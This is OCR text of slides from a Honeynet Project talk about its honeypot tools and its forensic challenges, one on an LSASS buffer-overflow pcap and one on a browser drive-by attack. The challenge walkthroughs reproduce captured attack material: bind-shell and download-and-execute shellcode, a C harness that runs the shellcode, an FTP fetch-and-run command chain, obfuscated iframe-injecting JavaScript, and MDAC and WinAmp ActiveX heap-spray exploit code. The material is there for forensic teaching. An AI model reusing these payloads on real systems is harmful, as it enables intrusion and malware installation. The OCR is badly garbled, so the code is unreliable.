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Speaker Sebastien Tricaud

Co-Founder with P. Saadé of PicViz Labs
 Honeynet Project CTO

* Intrusion Detection specialist & big volumes
0gs analyst

 Former contributor of Linux PAM, OSSEC,
SanCP, Prelude IDS etc.
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malphx
Speaker Franck Guénichot

15 years in the networking field (« Packet geek »)

Honeynet project's challenge contestant

« Challenge #1 : 2nd place
« Challenge #2 : 1st place (tied with 3 other contestants)

« Challenge #3 : 4th place

SANS Network Forensic Contest contestant

« Challenge #1.: finalist
« Challenge #2: 1st place (tied with one other contestant)
« Challenge #3: finalist
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Agenda

Honeynet project organization

Highlight of a few software

Our Challenges (with someone who does several!)

Conclusion
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Buzzwords

Worms
Virus
Trojans
Botnets
Zombies
Phishing
Spam
Fast-flux
SPIT
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Our Goal

“Improve the Security of the Internet at no
cost to the Public”
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Organisation

The Honeynet Project

Advisors Directors

Officers

Full Members Members

Contributors
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Chapters
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Learn

Trap our enemies
Analyze their activities
Getting information
Discuss, exchange
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Provide information based on
our observations
KYE: Know Your Enemies

KYT: Know Your Tools -\/—

Website .
http://www.honeynet.org \4

Blog, Twitter

Papers
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Know Your Enemy: Containing
Conficker

< 1 <

mechanism is deterministic, this information can be used to find and remove the malicious files. In section
12, we show the impact of Conficker.C's modified domain name generation mechanism and provide
information about the potential for collisions with existing domain names that Conficker.C will attempt to
contact in April 2009. In section 13, we attempt to derive information about the designers and developers of
Conficker, based on our findings and observations to date. We conclude our work in section 14.

The original paper included a detailed explanation about issues in Conficker, which allow exploitation. The
Conficker Working Group (CWG) has requested to not include this section in this public version for various
reasons. The full paper will be published in the near future.

The tools discussed in all of this paper are all licensed under the GPL and everything presented here is freely
available for download from [9], including the source code.

1.1 CONFICKER INFECTION PROCESS

Conficker is delivered as a Dynamic Link Library (DLL), so it cannot run as a standalone program and must
be loaded by another application. A vulnerable Windows system is generally infected with the Conficker
worm via the MS08-067 vulnerability, using exploit shellcode that injects the DLL into the running Windows
server service. Other possible infection vectors are accessing network shares or USB drives where the
malicious DLL is started via the rund1132.exe application. Once infected, Conficker installs itself as a
Windows service to survive reboots. It then computes domain names using a time-seeded random domain
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Know Your Tools: Picviz

explained in the appendix of this paper.

The figure below shows 6 axes in the folloing order: time, ip source, user agent, proto, request type and the typed
URL. On 72MB of logs, 330678 lines are produced, using the same command line as above (but removing the
labels. If vou want to remove labels on a given axis, set the property print="false"):

5 E -Tpngcairo access.pgdl -r - yt-acces g
[+] Picviz - (c) 2 =2 Sebastien Tricau

[+] Parsin

[+] Rendering

[+] Output pngcairo image to '"kyt-access.p -

Time 123 Protocol RegqType URL
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Provide Tools

Capture BAT » Honeymole
Capture HPC » Honeysnap
Glastopf » Honeystick
Google Hack ~+ Honeytrap
Honeypot /  Nepenthes
HIHAT « Pehunter
HoneyBow * PicViz
HoneyC « Sebek
Honeyd  Tracker

Honeywall CDROM
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Tools Landscape

Servers ﬂ Clients

High interaction

L ow Interaction

Analysis
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Nepenthes
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Nepenthes Logs

[2010-01-01T00:10:06] 88.173.53.163 -> 192.168.0.23
link://88.173.53.163:3737/MPe2+A==
725c1f3ef623chd811a9acc6c40ad07c

[2010-01-01T00:12:56] 88.185.87.220 -> 192.168.0.23

link://88.185.87.220:46509/D20e0Q==
954a98c971fda498f9d1211f18e75cd7

[2010-01-01T00:24:36] 88.83.48.36 -> 192.168.0.23

link://88.83.48.36:35368/+BmAdg==
be36334377890a52b56¢9023de688fe 7
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Nepenthes: some stats

2010 April 15t
2211 binairies retrieved
597 unique binaries (different MD5)
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32 virus non-detected by
ClamAV

B W32 Wirut- 54
FOLMD

B Trojan.Small-42&7
FOUMD

0 oK

B Trojan.5dB ot-9861
FOUMND

B Trojan.Van bot-166
FOLIMD

O Trojan.Buzus-
7445 FOUND

B Trojan.Autorun-
03 FOUND

O Trojan.Nepoe
FOLMD

B Viorm Allaple-306
FOUMD
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PhoneyC
http://code.google.com/p/phoneyc

Client honeypot written in Python
Written by Jose Nazario and Angelo Dell'Aera
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Response

Web

RequeSt page

PhoneyC

Mime
Modules

SGML PDF
Parser Parser
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endstream

endobj

9 0 obj

<</Extensions<</ADBE<</BaseVersion/1.7/ExtensionLevel 3>>>>/Metadata 2 0 R/Names 19 0 R/Pages 6 0 R/Type/Catalog>>
endobj

10 0 obj

<</Filter[/FlateDecode]/Length 1101>>stream
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Google Summer of Code

20 projects proposed
18 students paid by Google

Projects: logs anonymization, honeeebox
Interface, uniform sandbox/sandnet for
data collection, pcap replayer to exploit the
source, DNS analysis of an infected
machine, Dionaea, PhoneyC, ...
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Agenda

Introduction / Why should you participate ?
How to prepare a challenge ?

Challenge #1 : PCAP attack trace
Challenge #2 : Browsers under attack
Challenge #3 : Banking Troubles
Challenge #4 : VolP challenge

Conclusion
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Introduction
or
Why should you participate ?
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Challenge Objectives

Giving the Sec. Community opportunities:
. To analyze real and current threats

. To share their findings
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Thematics

. PCAP Analysis

. Browser Exploits Analysis

. Windows Memory Forensics

. Malicious PDF Analysis

. Malicious Javascripts Analysis
. Malware Analysis

. VoIP Attacks Analysis
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Benefits for a contestant

. Learning tools and techniques to
analyze real threats

. Sharing knowledge with the community
and seeing write-ups from others

. Having fun !



— T H E H ONEYNET P R OJETCT

Challenge Timeline

2 months cycle

« Challenge Published the 15t of a month
« 1 month to submit your solution

« Results are annouced In the third week of
the next month
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Challenge Prizes

« Top 3 submissions are published on the
Honeynet Project's website

« Top 3 submissions are awarded small
prizes (books,...)
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How to prepare a challenge ?
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Contestant's Host

Physical / Virtual ?

Some challenges involve « playing » with
real threats and malwares

Be careful to not infect yourself !
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Contestant's Tools

Packet analysis tools (wireshark, tshark, ...)
Memory forensic tools (Volatility, ...)

Data carving tools (Foremost, Scalpel, ...)
Dissassembler / Debugger (Ollydbg, IDA, ...)
Compiler (GCC, CL, ...)

Custom/own tools (perl, python, ruby, ...)
Virtualization product of your choice

Online sandboxes (Cwsandbox, Anubis, ...)
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Contestant's Skills

To play with challenges
Knowledge of Networking
Knowledge of Security Threats
Basic Reverse-Engineering skills

To have fun with challenges
Good knowledge of Networking
Good knowledge of Security Threats
Good Reverse-Engineering skills
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A Quick Tour of
The Challenges
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#1 : PCAP ATTACK TRACE

Author(s)

Tillmann Werner (from the Giraffe chapter)
Objective

Network attack analysis

LSASS buffer overflow (CVE-2003-0533 / MS04-011)
Challenge Material

PCAP file
Tools I've used to solve it:

Wireshark(Tshark), pOf, snort, IDA, ...
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#1 : PCAP ATTACK TRACE

Attacker connects to the victim IPC$ share...

15 0.602303 0.080015 192.150.11.111 98.114.205.1802 54 TCP microsoft-ds > itm-mcell-u [ACK] Seq=9@ Ack=386 Win=7584 Len=0
16 0.723001 0.120698 192.150.11.111 98.114.205.102 311 SMB Session Setup AndX Response, NTLMSSP CHALLENGE, Error: STATUS MORE P
17 ©.840405 0.117404 98.114.205.102 152.156.11.111 276 SMB Session Setup AndX Request, NTLMSSP AUTH, User: \

18 0.840419 0.000014 192.150.11.111 98.114.205.102 54 TCP microsoft-ds > itm-mcell-u [ACK] Seq=347 Ack=528 Win=8576 Len=0
19 0.957617 0.117198 192.150.11.111 98.114.205.102 175 SMB Session Setup AndX Response

20 1.073151 0.115534 98.114.205.162 192.156.11.111 152 SMB Tree Connect AndX Request, Path: \\192.158.11.111\ipc$

21 1.073174 0.000023 192.150.11.111 98.114.205.182 54 TCP microsoft-ds > itm-mcell-u [ACK] Seq=468 Ack=626 Win=8576 Len=0
22 1.189374 0.116200 192.150.11.111 98.114.205.102 114 SMB Tree Connect AndX Response

23 1.307145 0.117771 98.114.205.102 192.150.11.111 158 SMB NT Create AndX Request, FID: ©x4000, Path: \lsarpc

24 1.307168 0.000023 192.150.11.111 98.114.205.102 54 TCP microsoft-ds = itm-mcell-u [ACK] Seq=528 Ack=738 Win=8576 Len=0
25 1.424860 0.117692 192.150.11.111 98.114.205.102 193 SMB NT Create AndX Response, FID: 0x4600

26 1.542389 0.117529 98.114.205.102 192.156.11.111 214 DCERPC Bind: call id: 1 DSSETUP V©.8

27 1.542401 0.000012 192.150.11.111 98.114.205.102 54 TCP microsoft-ds = itm-mcell-u [ACK] Seq=667 Ack=898 Win=9648 Len=0
28 1.670219 0.127818 192.156.11.111 98.114.205.102 182 DCERPC Bind ack: call id: 1 accept max xmit: 4280 max recv: 4280

Attacker exploits a well-known vulnerability
(CVE-2003-0533, LSASS buffer overflow)

30 1.797886 0.800013 192.150.11.111 98.114.205.182 54 TCP microsoft-ds > itm-mcell-u [ACK] Seg=795 Ack=2350 Win=11680 Len=0
32 1.804003 0.000010 192.156.11.111 98.114.2685.102 54 TCP microsoft-ds > itm-mcell-u [ACK] Seq=795 Ack=3810 Win=14600 Len=0
33 1.885992 0.001989 98.114.205.102 192.156.11.111 454 DSSETUP DsRoleUpgradeDownlevelServer request[Long frame (3288 bytes)]

34 1.806001 0.800009 192.150.11.111 98.114.205.1082 54 TCP microsoft-ds > itm-mcell-u [ACK] Seg=795 Ack=4210 Win=17520 Len=0

Snort detects it...

franc JIN:~/Ana sourc

0it &

111.111:445
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#1 : PCAP ATTACK TRACE

A shellcode is injected...

. 0EeO| 90 90 90 90 90 90 90 90 90 96 90 96 (%0 9@ 9@ 9@ [........ ........
NOP Sllde pafe| 96 99 90 90 99 96 98 90 99 960 98 9O (90 98 9O 98 | ........ ... ....
01o0| 90 90 96 90 90 90 90 98 90 90 99 99|98 98 98 98 f........ . .......
0116 98 98 96 96 96 98 98 98 90 96 98 98 (=b 10 5a 4a |[........ ...... Z]

8128 33 CY9 oo D9 J/d Ol 80 34 Ua 99 2 14 ED UD E8 EeD 3.f...4 ..

el3e| ff ff ff 7@ 95 98 99 99 3 fd 38 a9 99 99 99 12 PP PR - T

01468| d9 95 12 e9 85 34 12 d9 91 12 41 12 ea a5 12 ed |..... 4., AL,

8158 87 el 9a 6a 12 e7 b9 9a 62 12 d7 8d aa 74 cf ce S I PR

0168 c8 12 a6 9a 62 12 6b f3 97 c@ 6a 3T ed 91 cO c6 R o T SRR I S
0170| la 5e 9d dc 7b 70 c® c6 c7 12 54 12 df bd 9a 5a ~.A4p.. T z
0186| 48 78 9a 58 aa 58 ff 12 91 12 df &5 9a 5a 58 78 Hx . X.P.. ..... ZXx
©196| 9b 9a 58 12 99 %9a 5a 12 63 12 6e la 5T 97 12 49 X Z. c.n._..I
@la@| f3 9a c@ 71 1le 99 99 99 1a 5f 94 cb cf 66 ce 65 q _...T.e

81b8| c3 12 41 f3 9c c® 71 ed 99 99 99 ¢9 c9 c9 c9 T3 S o
She”COde 01cd| 98 f3 9b 66 ce 75 12 41 5e 9e 9b 99 9e 3c aa 59 f.u.A ~L...<lY
8lde| 10 de 9d f3 89 ce ca 66 e 69 f3 98 ca 66 ce 6d [....... f .1 f.m

Ble@| 9 c9 ca 66 ce 61 12 49 1la 75 dd 12 6d aa 59 T3 f.a.I .u..m.Y

p1fe| 89 cB@ 10 9d 17 7b 62 18 cf al 10 cf a5 10 cf d9 |..... {fb. ........

g2a0| ff 5e df b5 98 98 14 de 89 c9 cf aa 560 c8 c8 c8 e WP

621@| f3 98 c8 cB 5e de a5 fa T4 fd 99 14 de a5 c9 c8 e e

0220 66 ce 79 cbh 66 ce 65 ca 66 ce 65 ¢9 66 ce 7d aa f.y.f.e. f.e.f.}.
0230] 59 35 1lc 59 ec 60 c8 cb T ca 66 4b c3 c® 32 7b ¥5.¥. .. ..TK..2{

8248 77 aa 59 5a 71 76 67 66 66 de fc ed c9 eb f6 fa |w.¥Zgwgf f.......

8250 8 fd fd eb fc ea ea 99 da eb fc f8 ed fc c9 eb |........ ........

6266| fe fa fc ea ea dB 99 dc el f@ ed cd fl eb fc f8 |........ ........

0276| fd 99 d5 f6 f8 fd d5 f@ fb eb f8 eb e®@ d8 99 ee |........ ........

0286| ea ab c6 aa ab 99 ce ca dB ca f6 fa f2 fceddd |........ ........

g8298| 99 fb fe f7 fd 99 f5 f@ ea ed fc f7 99 f8 fa fa |........ ... ...

82a8| fc e9 ed 99 fa f5 fé ea fc ea fé6 fa f2 fced 99 |........ ........

szﬂ O9F 96 98 98 98 98 9f 9@ 9F 98 98 98 98 98 98 98  J ... .. e et e e e

B2cG 90 90 90 90 90 SO 99 90 90 S0 90 90 90 90 90 90 ........ ........
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#1 : PCAP ATTACK TRACE

Converting shellcode raw data to C source...

1/* compile with gcc -1ws2_32 FILE */
2 #include =<winsock

unsigned char shellcode[] = {
// debugger trap
X908, Ox %98, // 0x0000
9 // 0x0010
J/ exeeze
// 0x0030
J/ exegd4e
// 0x0050
J// exeeee
// 0x0070
J/ exeegse
// 0x0090
J// B0x00a0
// 8xeebe
J// 8x00ce
// 8xeede
J// 8x00ed
// exeefe
J/ exelee
J/ exelle
J/ exelze
J/ 8x@13e
J// 0xel4e
J/ 8x@158
J// 0xelee
J/ exel7e

[~
W~

MM WO
MW —h —h

Mkcarray
helps !

[cRoRoNoNoRoRoNoNoNooNooRoloNoBoBolooBoNoNoNoloRol
[oNoNoloNololoNolololololololololololiololiololiolololol
[cRoRoNoNoRoRoNoNoNooNooRoloNoBoBolooBoNoNoNoloRol
[cRoRoNoNoRoRoNoNoNooNooRoloNoBoBolooBoNoNoNoloRol

[cRoRoNoNoRoRoNoNoNooNooRoloNoBoBolooBoNoNoNoloRol

%99, J// 8x0198

35 void fixwsA()

36 {

BT WSADATA wsa;

38 WSAStartup (MAKEWORD(2, 8), &wsa);
39 }

18

41 int main(int argc, char **argv)
42 {

43 int *ret;

44

45 fixWsA();

46

47 ret = (int #*)&ret + 2;
18 (*ret) = (int)shellcode;
19

58 return ©;

51}
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#1 : PCAP ATTACK TRACE

Shellcode analysis reveals the compromission...

push eax ; param: dwFlags (= 6x8)

push eax ; param: g

push eax > param: 1pProtocollInfo

push eax s param: protocol (= 8)

push 1 s param: type = SOCK_STREAHM

push 2 ; param: af = AF_INET

call dword ptr [edi-14h] ; Create a Socket (calls WSASocketA)

mov ebx, eax ; EAX contains socket descriptor => stores it in EBX

mov duord ptr [edi], BA50878862h ; Stores sockaddr struct: sin_port = B87A5 (1957)
Xor eax, eax

mov [edi+4], eax

push 18h 5 BIND: param: name len

push edi s BIND: param: name

push ebx ; BIND: param: s

call dword ptr [edi-16h] ; calls bind {(bind a TCP socket to port 1957/tcp)
push 1 ; LISTEN: param: backlog

push ebx ; LISTEN: param: s

call dword ptr [edi-BCh] ; Calls listen (Set the previouly bound socket to listen mode)
push eax > ACCEPT: param: =addrlen

push eax > ACCEPT: param: =addr

push ebx s ACCEPT: param: s

call dword ptr [edi-8] ; Calls accept {now permits connections to socket)

mov edx, eax

sub esp, 44h

mov esi, es

o o o A shell was bound to 1957/TCP
push 16h

pop ecx s ECX = Bx18
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#1 : PCAP ATTACK TRACE

Commands are sent by the attacker to the shell

echo open 8.0.0.0 8884 > okecho user 1 1 == o &echo get ssms.exe >> o &echo quit == o &ftp -n -s:0 &del /F /0 o &ssms.exe
s5Mms . exe

Stream Content

220 NzmxFtpd @wns j©

USER 1

331 Password required

PASS 1

230 User logged in.

SYST

215 NzmxFtpd

TYPE 1

200 Type set to I.

PORT 192,158,11,111,4,56
200 PORT command successful.
RETR ssms.exe

150 Opening BINARY mode data connection
QUIT

226 Transfer complete.

221 Goodbye happy re@ting.

And a malware iIs retrieved...

Stream Content

W06 08000 0000000600000 Glbeg[Uono00080000220020000000600000520 00000000000 !..L."Wind:
S I | P PR [
e e e et e e e e e e ettt e et et e e et a e e,
B 0aD000608080000060000000050000 £OL00300000 L S B.....
K e e et aeaaan s J _Jteoocee #
...... 3......fP...J...m'.....? j .a F ) R.0.1.M.0.&5...:.p5....V
..... ~....08.R{.-.6a. .B.
Pooygmem.#.3S. .09 .. _.J...:..g....k4mj....9%f..96 ........ _..0%-.%H..".B.T.
- C L Hw..2..... %..A =T @.s)..... N$....14.3"....pN,%u.(... ..ig."'
0%*..03%..5.#.e.m.... .[.5 >Y* R 2 PG | PN | PIN c PNPIORE () FPPPIPY 0 SO | TR £ et ]
0. Q.. P LT C 4. ?? ....... -#%..05.Tr..5..V&..... =.".)..p ...u..
+.p..’°r-1R.6..N'A...T M. f z* 2

mn ~ mn - % = R o B ) T w1 n - —- M7 b | Lr ) ka1 T (R} r A
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#1 : PCAP ATTACK TRACE

Official solution

http://www.honeynet.org/files/Forensic%?2
OChallenge%202010%20-
%20Scan%201%20-
%20Solution final.pdf
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#2 : BROWSERS UNDER ATTACK

Authors
Nicolas Collery (Singapore chapter)
Guillaume Arcas (French chapter)
Objective
Analysis of browser under attack
Challenge Material
PCAP file
Tools I've used to solve it:

Wireshark(Tshark), malzilla, spidermonkey-js,
Ollydbg, custom ruby script, ...
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#2 : BROWSERS UNDER ATTACK

Using tshark

Protocol
Hierarchy
Statistics

To guess the attack
vector

Protocol Hierarchy Statistics
Filter: frame

frame
eth

frames: 745 bytes:293558
frames: 743 bytes:2935938
ip frames: 725 bytes:292830
udp frames:156 bytes:28787
bootp frames:16 bytes:7360
nbns frames:80 bytes:8800
nbdgm frames:45 bytes:10632
smb frames:43 bytes:10632
mailslot frames:45 bytes:10632
browser frames:45 bytes:10632
dns frames:15 bytes:1783
igmp frames: 8 bytes:480
icmp frames:8 bytes:656
tecp frames:553 bytes:2625807
http frames:105 bytes:45631
data-text-lines frames:12 bytes:7510
image-jfif frames:]1 bytes:464
tcp.segments frames:2]1 bytes:12770
http frames:21 bytes:12770
data-text-lines frames:13 bytes:6633
media frames:3 bytes:3870
image_gif frames:3 bytes:267
arp frames:20 bytes:1128
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#2 : BROWSERS UNDER ATTACK

Using tshark

To gather various
Informations and

statistics on victims

and attackers

tshark

10.0.2.15
10.0.3.15
10.0.4.15
10.0.5.15
tshark -r
10.0.2.15
10.0.3.15
10.0.4.15
10.0.5.15

BFD12EDD2DC1462
BFD1Z2EDD2DC1462
BFD12EDD2DC1462
BFD1Z2EDD2DC1462

MAC addresses

tshark -r suspicious-time.pcap -Tfields -e "eth.sre" |sort |unig

0&:

08

08:
0&:
h2:

00:
=00:
00:
00:
54:

27z
27z
27:
27z
00:

9] :
al :
ba:
cd:
12 :

fd:44

Looks like VirtualBox

Ob:03

s Default MAC addresses

Netbios names

-r suspicious-time.pcap -R "browser.command==1" -Tfields -e "ip.src" -e "browser.server" |uniqg

Same hostname

Browsers User-Agent

suspiciocus-time.pcap -R "http.request"” -Tfields -e "ip.src" -e "http.user agent" |unig
Mozilla/5.0 (Windows;
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

Mozilla/5.0 (X11;

U; Linux i686;

U; Windows NT 5.1; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3

en-U35; rv:1.6) Gecko/20040614 Firefox/0.8
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But also... DNS queries

tshark -r suspicious-time.pcap -R "dns" -T fields -e "ip.src" —-e "dns.flags.response" -e "dns.gry.name"

10.0.3.15 o .honeynet.org
10.0.3.15 ] . honeynet.ocrg
192.168.1.1 1 .honeynet.org
10.0.3.15 ] r.google—analytics.com
192.1e8.1.1 1 I.google—analytics. com
10.0.3-15 o r.google.com
192.168.1.1 1 r.google . com

10.0.3.15 o r.google. £fr
192.168.1.1 1 r.google. fr

10.0.3.15 0 ientsl.google. fr
192.168.1.1 1 clientsl.google. fr
10.0.4.15 ] .honeynet.org
192.168.1.1 1 1. honeynet .org
10.0.4.15 ] .gJgoogle—analytics.com
192.168.1.1 1 r.google—analytics.com

HTTP hosts

tshark -r suspiciocous-time.pcap -R "http.request" -Tfields -e ip.src -e ip.dst -e http.host|sort|unig

10.0.2.15 192.168.56.50 rapidshare.com.eyu3Z2.ru
10.0.2.15 192.168.56.52 sploitme.com.cn
10.0.3.15 192.168.56.50 rapidshare.com.eyu3Z.ru
10.0.3.15 192.168.56.52 sploitme.com.cn
10.0.3.15 209.85.227.100 clientsl.google.fr
10.0.3.15 209.835.227.106 www.google.com

10.0.3.15 208.85.227.99 www.google. fr

10.0.3.15 64.236.114.1 www . honeynet.org
10-0-3-15 T4.125.77.101 www.google-analytics.com
10.0.4.15 192.168.56.51 shop.honeynet.sg
10.0.4.15 192.168.56.52 sploitme.com.cn
10.0.4.15 64_.236.114.1 www . honeynet .org
10.0.4.15 T4.125.77.102 www.google—analytics.com
10.0.5.15 192.168.56.52 spleoitme.com.cn
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tshark -r suspicious-time.pcap -R "http.request" -Tfie

10.0.2.15 192.168.2060.20 [rapidshare.com.-eyusz.ru
10.0.2.15 192.1668.20.22 [Sploitme.com.-cn
10.0.3.15 192.1668.26.20 rapidshare.com.eyu3Z.ru
10.0.3.15 192.168.206.22 sploitme.com.cn
10.0.3.135 209.82.227.100 clientsl.google.fr
10.0.3.135 209.82.227.106 www.google.com

10.0.3.15 209.85.227.99 www.google.fr

10.0.3.15 6d4.236.114.1 www . honeynet.org
10.0.3.15 T74.125.77.101 www.google—-analytics.com
10.0.4.13 192.168.2060.2]1 |Shopshoneynetc.sg
10.0.4.13 192.168.26.22 sploitme.com.cn
10.0.4.13 64.236.114.1 www . honeynet.org
10.0.4.15 T74.125.77.102 www.google—-analytics.com
10.0.5.15 192.1668.26.22 sploitme.com.cn
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@ http://rapidshare.com.eyu32.ru/login.php

41—- ;
v

o
€. 9
;‘\-» ...J—

\192.168.56.50 \ @

404 - Not Found

RS
e ¢ v Al

http://sploitme.com.cn/?¢click=3feb5a6b2f
~d http://sploitme.com.cn/fg/show.php?s=3feb5a6b2f

192.168.56.52

Scenario 1 *picture is taken from the official solution
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Obfuscated javascript

<script type="text/javascript">
eval (function(p,a,c,k,e, r) {e=function (c) {return (c<a?'':e(parseInt{c/a)))+((c=c%a)>357
String. fromCharCode (c+29) :c.toString (36)) };if(!"'' .replace (/"/,5tring) ) {while{c—)rle{c) l=klc]] |
e(c) ;k=[function (e) {return kicl)p=p.replace|
a £5%2%2%1%j)3bib% 9%1

35 Tt 120%5AE0%2%43NnT8 595
£1%4%axB20%9%02£30%5c2s 0322204 69]65]|74]63|3D| 68 |
20|173|122|2F|6C 72|61l 62| 64 F|6B|33|35|36|32]|7
TEe|0A" .split (" |1"),0,{}));

</script>

& invisible IFRAME

document.write ("<iframe src="http://sploitme.com.cn/?click=3febSa6b2f"width=1 height=1
style="visibility: hidden"></iframe>");
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@ http:/ /rapidshare.com.eyu32.ru/login.php

!
A \ 192.168.56.50 @
10.0.3.15
Vs
y 404 - Not Found |

sl
http:/ /sploitme.com.cn f?click=3feh5agbh2f =
| http: f fsploitme.com.cn ffg/show.php?s=3feb5af
192.168.56.52

http://www . honeynet.org

Scenario 2 *picture is taken from the official solution




— T H E H ONEYNET PR OJETCT

#2 : BROWSERS UNDER ATTACK

Offensive javascript (browser attacked)

1 <script language="JavaScript's

2<!--

3 var CRYPT={signature:'CGerjg56R', keyStr:'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123:
\=]/g,"'");while(i<input.length){encl=this. keyStr.indexOf(input.charAt(i++));enc2=this. keyStr.ind:
(enc2=>4);chr2=((enc2&15)<<4) | (enc3>>2) ;chr3=((enc3&3)<<6) |enc4d;output=output+5tring. fromCharCode(

4 if(enc4!=64){output=output+String. fromCharCode(chr3);}}

5 output=CRYPT. utf8 decode(output);return output;}, utf8 decode:function(utftext){var string="";var
&6(c<224) ){c2=utftext.charCodeAt(i+1);string+=String.fromCharCode(((c&31)<<6)|(c2&63));i+=2; }else{

6 return string;},obfuscate:function(str){var container='';for(var i=0,z=0;i<str.length;i=i+3,z++){ct
(8));}

7 return CRYPT.decode(container);}}

8 eval (CRYPT.obfuscate
(*157181187231195154135166180117123204195156160169153153187179201185191214128142198189161189196191;

9//-->

18 </script>
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Offensive javascript (Decrypted)

LA |

=]

76 function Go(a){

77 var s=CreateO(a, 'WScript.Shell"};

T8 var o=CreateO(a, "ADODE.Stream");

79 var e=s.Environment('Process"');

80 var xhr=null;

81 var bin=e.Item( " TEMP' )+ "% "+Tilename;

82 try{

83 xhr=new XMLHttpRequest();

84 T

85 catch(e){

86 try{

87 xhr=new ActiveXObject('Microsoft.XMLHTTP"};

88 }

89 catchi(e){

‘”’ e CVE=2006-0003

91 1 - =

92 1

93 if(!'xhr)return(e) ;

94 xhr.open('GET" ,urltofile, false)

95 *xhr.send(null);

a6 var filecontent=xhr.responseBo

97 o.Type=1;

ag o.Mode=3;

99 o.0pen();

180 o.wWrite(filecontent

181 o.5aveToFile(bin

182 s.Runi{bin,®);

183 }

le4

105 function mdac(){

106 var i=0;

l1a7 var objects=new Array('{BD96C556-65A3-110D8-983A-00CO4FC29E36}", "{BD96C556-65A3-11D0-983A-00CO4FC29E36} ",
CoRR-0RREARRRARR4eY ", "{6e32070a-Tobd-4eeb-879c-dclfa9ldzfc3} ", "{6414512B-B978-451D-A0D8-FCFDF33E833C} ", "{7F3BTFB3-
ASFD-874847682010} ', "{BAB1E8599-1DB3-44T9-83B4-461454C84BF8} ", "{DOCRT7D56-7CH69-43F1-B4AD-25F5A11FAB19} ", "{EBCCCDDF-

108 while({objects[i]){

109 var a=null;

11/A iflohierrtslil suhstrinalf 1Y=—=—"f"%1
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http:ffshop.honeynetsg/catalog/

192.168.56.52

404 — Not Found | http: //sploitme.com.cn/Yclick=84c090bdBe =
10.0.4.15 http:/ fsploitme.com.cnffg/show.php?s=84c090bdB6

L
,n gle

http://www . honeynet.org

Scenario 3 *picture is taken from the official solution
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function aolwinamp(){

try{
var obj=document.createElement( ' object’);
document.body.appendChild(obj); SheHCOde
obj.id="IWinAmpActivex';

Part Of an obj.width="1";

obj.height="1";
- obj.data='./directshow.php’;
Offensive obj.classid="clsid:0955AC62 - BF2E- 4CBA-A2B9- AB3F772D46CF "

. . var shellcode=unescape("%uCB33%u8B64%u3040%ubC78%u408B%uUS
J avascrl pt uB320%u33F3%u49C9%u4150%u33AD%U36FFEUBEOF:U0314%uF238%u0874%uCFC1%uf380%u
UAEF2%UBB4F3uZ2EGS%UTE65%Ub6AB%U6698%UB0ABS:UBAGCHEUIBEOSUGE850%UGEEF:UE42E%:uT568%ubCT 2%u5460%UBEBB%UBE4E%:UFF
US704%uEFB8%UEACERUFF60%UA455%uT468%U7074%u2F3A%UT 32 F5ub6CT0%u696F%uaD74%u2ER5%UbF63%uZERDEUBEE3%UB62FEU2F
var bigblock=unescape("%uBcBckudcic");
var headersize=20;
var slackspace=headersize+shellcode.length;
while(bigblock.length<slackspace) bigblock+=bigblock;
var fillblock=bigblock.substring(®,slackspace);
var block=bigblock.substring(®,bigblock.length-slackspace);
while(block.length+slackspace<0x40800) block=block+block+Tillblock;
var memory=new Array();
for{var i=0;i<666;i++){
memory[i]=block+shellcode;

EU1CTO%UBBAD%UO858%u09EB%U408

}
document.write('<SCRIPT language="VBScript">');
exp|0it document.write('bof=string(1400,unescape("%ff")) + string(1000,unescape("%0c"))");

\ document.write('IWinAmpActiveX.ConvertFile bof,1,1,1,1,1'});
document.write('IWinAmpActiveX.ConvertFile bof,1,1,1,1,1'});
document.write('IWinAmpActiveX.ConvertFile bof,1,1,1,1,1'});
document.write('IWinAmpActiveX.ConvertFile bof,1,1,1,1,1'};
document.write('</SCRIPT=");

}
catch(e){}

directshow(); /
}

Next exploit to launch
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Shellcodes (Download & eXecute)

0040R0AS8 54 PUSH ESP ; push string: urlmon.dll
0040R0A9 B8 BE4ECOEEC MOV EA¥,ECOE4ESE ; hash for LoadLibraryh

C040A0AE FF55 04 CALL DWCORD PTR S5: [EBP+4] ; Find and call LoadLibrarvyA
0040A0B1 93 XCHG EAX,EBX ; urlmon.dl]l base address now in EBX , kernel32.dll
base in EAX

OD40R0OBZ 50 FUSH EAX

0D40R0B3 33C0 XOR EAX,EAX

0040R0BS 50 PUSH EAX

onAnanoe =N pijoy LY

0o40m0B7 56 PUSH EST ; push path to binarv ((TMP%\e.exe)
0D40R0BE 8B55 04 MOW EDX,DWCORD PTE SS: [EBP+4]

0040A0BE 83C2 TF ADD EDX,TF

UUZUATEE B3CZ 31 BDD EDX, 31

0040A0C1 52 PUSH EDX ; push the url :http://sploitme.com.cn/fg/load.php?e=3
op40r0C2 50 PUSH EAX

0040A0CS B8 361AZFT0 Mov EAX,702F1A36 ; hash for URLDownloadToFileh
0040A0CSH FF55 04 CALL DWCRD PTR SS5: [EBP+4] ; Find and call URLDownlcadToFileX
U UAUCE 2B FOE EBX ; Kernel s . foaUUuuyu

Op40A0CC 33FF XOR EDI,EDI

0D40AR0CE 27 FUSH EDI ; uCmdShow = SW _HIDE (0
0040A0CF 26 PUSH EST ; lpCmdLine = Path to binary.
0040A0DD B8 9BFEBAQE MOV EAX,0EBAFE9S8 ; hash for WinExec

0040ARDDS FFo5 04 CALL DWOED PTR 55: [EBF+4] ; Find and call WinExec

T oA - s TOCT DT

0D40AR0D9 B8 EFCEEODGD MOV EAX, 60EOCEEF ; hash for ExitThread()

0040R0DE FF55 04 CALL DWORD PTR SS5: [EBP+4] ; Find and call ExitThread
0040A0ED 68 74 T4 70 3A 2F 2F 73 70 6C 6F 69 74 6D &5 http://sploitme

0040R0F0 2E 63 6F 6D 2E 63 6E 2F 66 67 2F 6C 6F 61 64 2E .com.cn/fg/leoad.

0040A100 70 &8 70 3F 65 3D 33 00 php?e=3.
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Official solution

hitp://www.honeynet.org/files/Forensic%?2
OChallenge%202010 - Challenge 2 -
Solution.doc
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Authors
Josh Smith & Matt Cote (Rochester Institute of Tech. chapter)
Angelo Dell'Aera (Italian chapter)
Nicolas Collery (Singapore chapter)
Objectives
Memory dump analysis / Malicious PDF analysis
Challenge Material
Memory dump

Tools I've used to solve it:
Volatility, pdfid.py, pdf-parser.py, Ollydbg, ...
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Memory dump inspection with Volatility...

